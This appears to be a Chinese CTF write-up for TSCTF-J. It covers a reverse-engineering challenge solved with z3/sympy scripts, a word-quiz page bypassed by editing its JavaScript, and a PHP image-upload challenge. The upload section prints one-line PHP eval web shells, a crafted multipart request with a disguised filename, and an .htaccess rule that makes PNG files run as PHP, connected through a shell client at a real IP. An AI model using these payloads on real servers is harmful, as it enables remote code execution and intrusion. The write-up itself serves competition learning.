byte_405060 = [0x19, 0x1B, 0x05, 0xB2, 0x24, 0xCE, 0x77, 0x7C, 0x7E, 0x9C,
               0x22, 0x65, 0xF4, 0xEB, 0xBE, 0x55, 0xD8, 0xC4, 0x2C, 0xB8,
               0x3E, 0x3D, 0x6F, 0xB6, 0xBD, 0x8C, 0x39, 0x48, 0xCB, 0x38,
               0x73, 0x0C, 0x6A, 0x3B, 0x81, 0x9F, 0x7D, 0x2B, 0x67, 0x1A,
               0xD2, 0x40, 0xFC, 0x35, 0xD3, 0xD6, 0x41, 0x96, 0x56, 0xAC,
               0x6B, 0xAD, 0x85, 0xAE, 0xA2, 0x8D, 0x42, 0x2F, 0xD7, 0x23,
               0x54, 0x71, 0x0A, 0x8B, 0x1E, 0xAB, 0xC5, 0x7A, 0x72, 0x4B,
               0xEC, 0xC3, 0xF6, 0x25, 0x89, 0x75, 0xF5, 0x59, 0xFF, 0x17,
               0x94, 0xF3, 0x30, 0x6C, 0xE7, 0x36, 0x64, 0x1F, 0x69, 0x28,
               0x2E, 0xA6, 0x63, 0xD0, 0x32, 0x16, 0x08, 0xF8, 0x20, 0xC8,
               0x8F, 0x82, 0xEE, 0x10, 0xFD, 0x97, 0x6D, 0x62, 0x3A, 0x0F,
               0xC6, 0x01, 0x0B, 0xE3, 0xC0, 0x11, 0x58, 0x27, 0x0D, 0x2D,
               0x5A, 0x44, 0x1D, 0x50, 0xE6, 0x03, 0x26, 0xA5, 0x6E, 0xF1,
               0x9E, 0xAF, 0x74, 0x45, 0x7F, 0x49, 0x66, 0x14, 0x09, 0x06,
               0xB5, 0xF9, 0xB1, 0x12, 0x4D, 0xF2, 0x7B, 0x31, 0x5D, 0xFA,
               0x86, 0x07, 0xFE, 0xEF, 0xE0, 0xCC, 0xA0, 0x8E, 0x5C, 0xDF,
               0x78, 0xB3, 0xBA, 0xBF, 0xF7, 0x70, 0xB4, 0xB0, 0xDB, 0xA3,
               0xE5, 0x18, 0xCF, 0x61, 0x87, 0xCA, 0x9B, 0x4C, 0x37, 0x9A,
               0x91, 0xA8, 0xA9, 0x92, 0x57, 0x52, 0xED, 0xA7, 0x79, 0x51,
               0xA1, 0x84, 0x3C, 0x04, 0x60, 0xA4, 0x15, 0x4A, 0xE1, 0x47,
               0xDA, 0xD4, 0x4F, 0x80, 0xAA, 0x99, 0x9D, 0xBC, 0x46, 0x29,
               0x33, 0xE9, 0x93, 0xC9, 0x76, 0x00, 0x8A, 0x53, 0x34, 0xD9,
               0xF0, 0xC1, 0xDC, 0xDD, 0x13, 0x90, 0xB7, 0x4E, 0x5F, 0xD1,
               0xE2, 0xFB, 0xB9, 0xDE, 0xE8, 0x5E, 0x2A, 0xC7, 0x3F, 0x5B,
               0x43, 0x98, 0x83, 0xC2, 0x02, 0xCD, 0xD5, 0xEA, 0x95, 0xE4,
               0x68, 0x0E, 0xBB, 0x1C, 0x21, 0x88]

order = [0x10, 0x05, 0x09, 0x04, 0x02, 0x0B, 0x07, 0x0E, 0x03, 0x0A, 0x06, 0x0F, 0x0D, 0x08, 0x0C, 0x01]

data = [0x19, 0xB0, 0x51, 0x6F, 0x4F, 0x0E, 0x2D, 0xAC, 0x4F, 0x0E, 0x2D, 0xAC, 0x6E, 0x19, 0xB0, 0x51]

unk_4051E0 = [0x18, 0x76, 0x02, 0xE9, 0xA4, 0x00, 0x08, 0x35, 0x74, 0x20, 0x02, 0xB9, 0x5A, 0xC7, 0x6F, 0x6F]

end = [805, 3371, 549, 2028]

# v11 = v16 + v17 * a4;
# *(_QWORD *)(a3 + 8 * v11) += *(_QWORD *)(a2 + 8LL * (v16 + v15 * a4)) * * (_QWORD *)(a1 + 8LL * (v15 + v17 * a4));

def enc1(order, data):
    tmp = [0] * 16
    for i in range(2):
        for k in range(2):
            for j in range(2):
                tmp[k + 2 * i] += order[j + i * 2] * data[k + j * 2]
    return tmp

tmp1 = [0] * 16
tmp2 = [0] * 16
for i in range(4):

    tmp1[i * 4:] = enc1(order[i * 4:], data[i * 4:])
    tmp2[i * 4:] = enc1(tmp1[i * 4:], data[i * 4:])
    tmp1[i * 4:] = enc1(tmp2[i * 4:], unk_4051E0[i * 4:])
    tmp2[i * 4:] = enc1(tmp1[i * 4:], tmp1[i * 4:])

    for k in range(4):
        tmp2[i * 4 + k] -= order[i * 4 + k] * 0x3C47
        tmp2[i * 4 + k] = tmp2[i * 4 + k] >> 1
    print("第", i, "组:", tmp2)

print(tmp2)

# 下面是解密脚本

enc=[0x62961C0FE4D28,0x37FB23287E2852,0x3E1C8F5457EF0,0x234502946A064A,0xD87741DA9D659,0x26269C0306349,0x138CA0B38EE747,0x37209312D14CF,0x6FFB20902E85A6,0xA4DFB45E434627,0xB2F4F8CBA70ADE,0x1077C2F84B5994B,0x413B997953E9D1,0x642F09CFEEA51C,0x20DBBAEB80A022,0x3276ADEF34B91D]

def enc2():   # 列出 方程组
    for i in range(2):
        for k in range(2):
            for j in range(2):
                print('tmp[', k + 2 * i, ']+=order[', j + i * 2, '] * data[', k + j * 2, ']')
                # tmp[k + 2 * i] += order[j + i * 2] * data[k + j * 2]

enc2()

# 参数相同时可转化为方程
# tmp0= x0*x0+x1*x2
# tmp1= x0*x1+x1*x3
# tmp2= x2*x0+x3*x2
# tmp3= x2*x1+x3*x3

# z3 解方程
def dec1(tmp):
    print(tmp)
    x0 = Int("x0")
    x1 = Int("x1")
    x2 = Int("x2")
    x3 = Int("x3")
    s = Solver()
    s.add(tmp[0] == x0 * x0 + x1 * x2)
    s.add(tmp[1] == x0 * x1 + x1 * x3)
    s.add(tmp[2] == x2 * x0 + x3 * x2)
    s.add(tmp[3] == x2 * x1 + x3 * x3)

    if s.check() == sat:
        model = s.model()
        ret = [0] * 4
        print(model)
        for d in model.decls():
            ret[int("%s" % (d.name())[1:])] = int("%s" % (model[d]))
        return ret
    else:
        print('dec1:[-]')

def dec2(tmp, data):
    x0 = Int("x0")
    x1 = Int("x1")
    x2 = Int("x2")
    x3 = Int("x3")
    s = Solver()
    s.add(tmp[0] == x0 * data[0] + x1 * data[2])
    s.add(tmp[1] == x0 * data[1] + x1 * data[3])
    s.add(tmp[2] == x2 * data[0] + x3 * data[2])
    s.add(tmp[3] == x2 * data[1] + x3 * data[3])

    if s.check() == sat:
        model = s.model()
        ret = [0] * 4
        print(model)
        for d in model.decls():
            ret[int("%s" % (d.name())[1:])] = int("%s" % (model[d]))
        return ret
    else:
        print('dec2:[-]')

def dec3(tmp, data):
    x0 = Int("x0")
    x1 = Int("x1")
    x2 = Int("x2")
    x3 = Int("x3")
    s = Solver()
    s.add(tmp[0] == (data[0] * x0 + data[1] * x2) * x0 + (data[0] * x1 + data[1] * x3) * x2)
    s.add(tmp[1] == (data[0] * x0 + data[1] * x2) * x1 + (data[0] * x1 + data[1] * x3) * x3)
    s.add(tmp[2] == (data[2] * x0 + data[3] * x2) * x0 + (data[3] * x3 + data[2] * x1) * x2)
    s.add(tmp[3] == (data[2] * x0 + data[3] * x2) * x1 + (data[3] * x3 + data[2] * x1) * x3)

    if s.check() == sat:
        model = s.model()
        ret = [0] * 4
        print(model)
        for d in model.decls():
            ret[int("%s" % (d.name())[1:])] = int("%s" % (model[d]))
        return ret
    else:
        print('dec3:[-]')

# def dec4(tmp):
#     x0 = Int("x0")
#     s = Solver()
#     num=
#     s.add(tmp==(x0-x0*0x3c47)/2)
#
#     if s.check() == sat:
#         model = s.model()
#         ret = [0] * 1
#         print(model)
#         for d in model.decls():
#             ret[int("%s" % (d.name())[1:])] = int("%s" % (model[d]))
#         return ret
#     else:
#         print("[--]")

# tmp = [0, 0, 0, 0]
# print(dec1(tmp))

# 解密
data = [0]*16
tmp1 = [0] * 16
tmp2=enc
# print(tmp2)
# tmp2 = [0] * 16
for i in range(3, -1, -1):

    # for k in range(4):
    #     tmp2[i * 4 + k] -= order[i * 4 + k] * 0x3C47
    #     tmp2[i * 4 + k] = tmp2[i * 4 + k] >> 1

    # 加密时存在一个>>1,造成的多解问题,Z3 解的时候,直接中断了
    # 这里还未解决

    for k in range(4):
        num=tmp2[i * 4 + k]
        tmp2[i * 4 + k] = tmp2[i * 4 + k]*2 + order[i * 4 + k] * 0x3C47

    # tmp1[i * 4:] = enc1(tmp2[i * 4:], unk_4051E0[i * 4:])
    # tmp2[i * 4:] = enc1(tmp1[i * 4:], tmp1[i * 4:])

    # 上面两步的逆向
    print(tmp2[i * 4:])

    tmp1[i * 4:] = dec1(tmp2[i * 4:])
    tmp2[i * 4:] = dec2(tmp1[i * 4:], unk_4051E0[i * 4:])

    # tmp1[i * 4:] = enc1(order[i * 4:], data[i * 4:])
    # tmp2[i * 4:] = enc1(tmp1[i * 4:], data[i * 4:])

    # 上面两步的逆向,也可以转化为一个方程!
    data[i * 4:] = dec3(tmp2[i * 4:], order[i * 4:])

    # tmp1[i * 4:] = enc1(order[i * 4:], data[i * 4:])
    # tmp2[i * 4:] = enc1(tmp1[i * 4:], data[i * 4:])
    # tmp1[i * 4:] = enc1(tmp2[i * 4:], unk_4051E0[i * 4:])
    # tmp2[i * 4:] = enc1(tmp1[i * 4:], tmp1[i * 4:])

    print("第", i, "组:", data)

 # 如上解得 data 后,通过映射表,即可得到flag。

但是,上面有一个问题,【加密存在一个>>1,造成的多解问题,Z3 解的时候,直接中断了,所以还需要设计一个环节,就是让Z3程序脚本无整数解,或无解时,自动结束,开始下一组爆破(每轮16组爆破就可以得到)】【后面有时间可以再完善一下脚本,看能不能跑出来】

【可想而知,3/3天快结束了,肝不动了

果断求助出题人大大!!!

0x05 果断求助出题人大大!!!

对程序解密卡住了,联系出题人大大,得到解密脚本!

好家伙,属实是我想不到的,不知道的。

from sympy import *

a = Symbol('a');b = Symbol('b');c = Symbol('c');d = Symbol('d')
B0 = [16,5,9,4,2,11,7,14,3,10,6,15,13,8,12,1]
D0 = [24,118,2,233,164,0,8,53,116,32,2,185,90,199,111,111]
K = 15431
my_dict = [25, 27, 5, 178, 36, 206, 119, 124, 126, 156, 34, 101, 244, 235, 190, 85, 216, 196, 44, 184, 62, 61, 111, 182, 189, 140, 57, 72, 203, 56, 115, 12, 106, 59, 129, 159, 125, 43, 103, 26, 210, 64, 252, 53, 211, 214, 65, 150, 86, 172, 107, 173, 133, 174, 162, 141, 66, 47, 215, 35, 84, 113, 10, 139, 30, 171, 197, 122, 114, 75, 236, 195, 246, 37, 137, 117, 245, 89, 255, 23, 148, 243, 48, 108, 231, 54, 100, 31, 105, 40, 46, 166, 99, 208, 50, 22, 8, 248, 32, 200, 143, 130, 238, 16, 253, 151, 109, 98, 58, 15, 198, 1, 11, 227, 192, 17, 88, 39, 13, 45, 90, 68, 29, 80, 230, 3, 38, 165, 110, 241, 158, 175, 116, 69, 127, 73, 102, 20, 9, 6, 181, 249, 177, 18, 77, 242, 123, 49, 93, 250, 134, 7, 254, 239, 224, 204, 160, 142, 92, 223, 120, 179, 186, 191, 247, 112, 180, 176, 219, 163, 229, 24, 207, 97, 135, 202, 155, 76, 55, 154, 145, 168, 169, 146, 87, 82, 237, 167, 121, 81, 161, 132, 60, 4, 96, 164, 21, 74, 225, 71, 218, 212, 79, 128, 170, 153, 157, 188, 70, 41, 51, 233, 147, 201, 118, 0, 138, 83, 52, 217, 240, 193, 220, 221, 19, 144, 183, 78, 95, 209, 226, 251, 185, 222, 232, 94, 42, 199, 63, 91, 67, 152, 131, 194, 2, 205, 213, 234, 149, 228, 104, 14, 187, 28, 33, 136]
flag = "flag{"

def is_positive_integer(num):
    if num < 0: return False
    s=str(num).split('.')
    if len(s) == 1: return True
    return float(s[1])==0

def solve_square(B):
    # A = B*B -> solve A
    global a,b,c,d
    S = eval("solve([a*a+b*c-%d,a*b+b*d-%d,a*c+c*d-%d,b*c+d*d-%d],[a,b,c,d])"%(B[0],B[1],B[2],B[3]))
    for s in S:
        s = [float(item) for item in list(s)]
        if is_positive_integer(s[0]) and is_positive_integer(s[1]) and is_positive_integer(s[2]) and is_positive_integer(s[3]):
            return s
    return None

def solve_inv(B,C):
    # A*B = C -> solve A
    global a,b,c,d
    S = eval("solve([%d*a+%d*b-%d,%d*a+%d*b-%d,%d*c+%d*d-%d,%d*c+%d*d-%d],[a,b,c,d])"%(B[0],B[2],C[0],B[1],B[3],C[1],B[0],B[2],C[2],B[1],B[3],C[3]))
    A = [float(S[item]) for item in [a,b,c,d]]
    if not is_positive_integer(A[0]):return None
    return [int(item) for item in A]

def solve_inv2(A,C):
    # A*B = C -> solve B
    global a,b,c,d
    S = eval("solve([%d*a+%d*c-%d,%d*b+%d*d-%d,%d*a+%d*c-%d,%d*b+%d*d-%d],[a,b,c,d])"%(A[0],A[1],C[0],A[0],A[1],C[1],A[2],A[3],C[2],A[2],A[3],C[3]))
    A = [float(S[item]) for item in [a,b,c,d]]
    if not is_positive_integer(A[0]):return None
    return [int(item) for item in A]

def solve_other(B,index,add="0000"):
    # (A-D)/2 = B -> solve A
    global B0,K
    C = [0,0,0,0]
    for i in range(4):
        C[i] = B[i]*2+int(add[i])+K*B0[4*index+i]
    return C

def solve_once(B,index):
    global my_dict,flag
    for i in range(16):
        print("Trying part %d.%d"%(index+1,i))
        s = solve_other(B,index,add=bin(i)[2:].zfill(4))
        s = solve_square(s)
        if s == None: continue # skip not integer
        s = solve_inv(D0[4*index:4*index+4],s)
        if s == None: continue
        s = solve_inv2(B0[4*index:4*index+4],s)
        if s == None: continue
        s = solve_square(s)
        if s == None: continue
        s  = [my_dict.index(item^cipher) for item in s]
        s = "".join([hex(t)[2:] for t in s])
        flag += s; print(flag)
        return

import time
start = time.time()
data = [1734349686721832,15757252140869714,1092678154813168,9927501567100490,3808107480864345,671156288906057,5502646392645447,969808735442127,31519839691376038,46407861949122087,50371895260285662,74164462406703435,18361403837770193,28199216860800284,9248795116216354,14204238250162461]
for i in range(4):
    solve_once(data[4*i:4*i+4],i)
print(flag+"}")
print(time.time()-start)

得到 651f31a7-5c6f-4ee4-a435-accb084dffb7

TSCTF-J{651f31a7-5c6f-4ee4-a435-accb084dffb7}

就到这吧!后面在学学这个强大的库!!!但看看代码量也不简单呀,,,

词超人

思路,填对单词英文就能得到flag!!!

这里通过修改dom 文档得到

    function uncover(button){
        button.parentNode.getElementsByClassName('en')[0].style.visibility=
            button.parentNode.getElementsByClassName('en')[0].style.visibility=="hidden"?
                "visible":
                "hidden"
    }
    function submit(){
        const answerArray=[];
        let divArray=document.getElementsByClassName('chunk')
        for(div of divArray){
            answerArray.push({id:div.id,answer:div.getElementsByTagName('input')[0].value})
        }
        const xhr = new XMLHttpRequest();
        const url = "/submit";
        xhr.open("POST", url, true);
        xhr.setRequestHeader("Content-Type", "application/json");
        xhr.onreadystatechange = function () {
            if (xhr.readyState === 4 && xhr.status === 200) {
                alert(xhr.responseText)
            }
        };
        xhr.send(JSON.stringify(answerArray));
    }

====》修改如下:

    function uncover(button){
        button.parentNode.getElementsByClassName('en')[0].style.visibility=
            button.parentNode.getElementsByClassName('en')[0].style.visibility=="hidden"?
                "visible":
                "hidden"
    }
    function submit(){
        const answerArray=[];
        let divArray=document.getElementsByClassName('chunk')
        for(div of divArray){
// 这里修改,获取隐藏的单词,直接进行提交,【div.childNodes[7]通过控制台,dom文档树查看        】answerArray.push({id:div.id,answer:div.childNodes[7].innerHTML})
        }
        const xhr = new XMLHttpRequest();
        const url = "/submit";
        xhr.open("POST", url, true);
        xhr.setRequestHeader("Content-Type", "application/json");
        xhr.onreadystatechange = function () {
            if (xhr.readyState === 4 && xhr.status === 200) {
                alert(xhr.responseText)
            }
        };
        xhr.send(JSON.stringify(answerArray));
    }

TSCTF-J{naughty_or_diligent–which_type_you_are?_}

OnlyIMG

0x01 程序分析

www.zip文件:

<?php

$blacklist = array("ph","htm","ini","js","jtml", "as","cer", "swf");

if ($_FILES["file"]["error"] > 0)
{
    echo "Error !" . "<br>";
}

else
{
    if($_FILES["file"])
    {
        $dst = -----A-Secret-Path----- ; // 不能说的秘密
        $fileinfo = array($_FILES["file"]["name"],$dst);//创建数组
        $file_name = trim($_FILES['file']['name']);
        foreach ($blacklist as $blackitem)
        {
            if (preg_match('/' . $blackitem . '/im', $file_name)) //过滤黑名单
            {
                die("Upload Fail , Do not upload strange file ~");
            }
        }

        $tmp_name = $_FILES["file"]["tmp_name"];  //$_FILES['myFile']['tmp_name'] 储存的临时文件名,一般是系统默认。
        $contents = file_get_contents($tmp_name);
        if (mb_strpos($contents, "<?p") !== FALSE)  # <? 绕过
        {
            die("Upload Fail , Why is there PHP code in your pic ?");
        }

        if (!is_dir($dst))
        {
            mkdir($dst);
        }
        move_uploaded_file($_FILES["file"]["tmp_name"],"$fileinfo[1]/$fileinfo[0]");//保存文件
        $msg="Upload Success ! Your file name is : %s";
        foreach($fileinfo as $key => $value)  // 文件名加一个 %s 即可获得隐藏路径
        {
            $msg = sprintf($msg, $value);
        }
        echo $msg;
        echo "<br>But I don't know where it stores......";
    }
    else
    {
        echo "Please select your file to upload first !" . "<br>";
    }
}


trim(string,charlist)
参数    描述
string    必需。规定要检查的字符串。
charlist
可选。规定从字符串中删除哪些字符。如果被省略,则移除以下所有字符:

"\0" - NULL
"\t" - 制表符
"\n" - 换行
"\x0B" - 垂直制表符
"\r" - 回车
" " - 空格

0x02 上传一句话木马

文件名 test_%s_.png

GIF89a?
<script  language="php">  @eval($_REQUEST['pass']);
</script>

Upload Success ! Your file name is : test_./83ded6_.png

那么连接路径就是:

/83ded6/test_%s_.png 【% 编码为%25】

蚁剑连接

http://39.107.138.71:8080/83ded6/test_%25s_.png

连接失败!!!

原来是需要将后缀名改为 php 文件类型才能解析。

同时得绕过后端黑名单,那么将前端.jpg 绕过,后端burp抓包修改

------WebKitFormBoundarycExQnGZBR5mtzXnT
Content-Disposition: form-data; name="file"; filename="test_%s_."
Content-Type: image/png

GIF89a?
<script  language="php">  @eval($_GET['cmd']);
</script>
------WebKitFormBoundarycExQnGZBR5mtzXnT
Content-Disposition: form-data; name="submit"

涓婁紶
------WebKitFormBoundarycExQnGZBR5mtzXnT--

====>改为
------WebKitFormBoundaryCeL3KgxBwwMYN8DU
Content-Disposition: form-data; name="file"; filename="test_%s_.p%10hp"
Content-Type: text/plain

GIF89a?
<script  language="php">  @eval($_GET['cmd']);
</script>
------WebKitFormBoundaryCeL3KgxBwwMYN8DU
Content-Disposition: form-data; name="submit"

涓婁紶
------WebKitFormBoundaryCeL3KgxBwwMYN8DU--

0x03 htaccess 方式

[黑名单不好绕过,],使用 .htaccess 方式将文件解析为php执行

<FilesMatch "\.png">
SetHandler application/x-httpd-php
</FilesMatch>

无法使用!!!,上传的代码解析到页面上了

再次尝试<?,发现可以打印hahah,说明这个思路是可以的。

那么之前失败的原因是

<script  language="php">  @eval($_REQUEST['pass']);
</script>  # 无法执行

# 可以
GIF89a?
<?  echo "hahah";@eval($_REQUEST['pass']);?>

通过 ,但不知道为啥 <script 用不了】

中国蚁剑连接,获得flag

TSCTF-J{Ht_Of_4PachE_is_7O0_simpL3_r1ght?}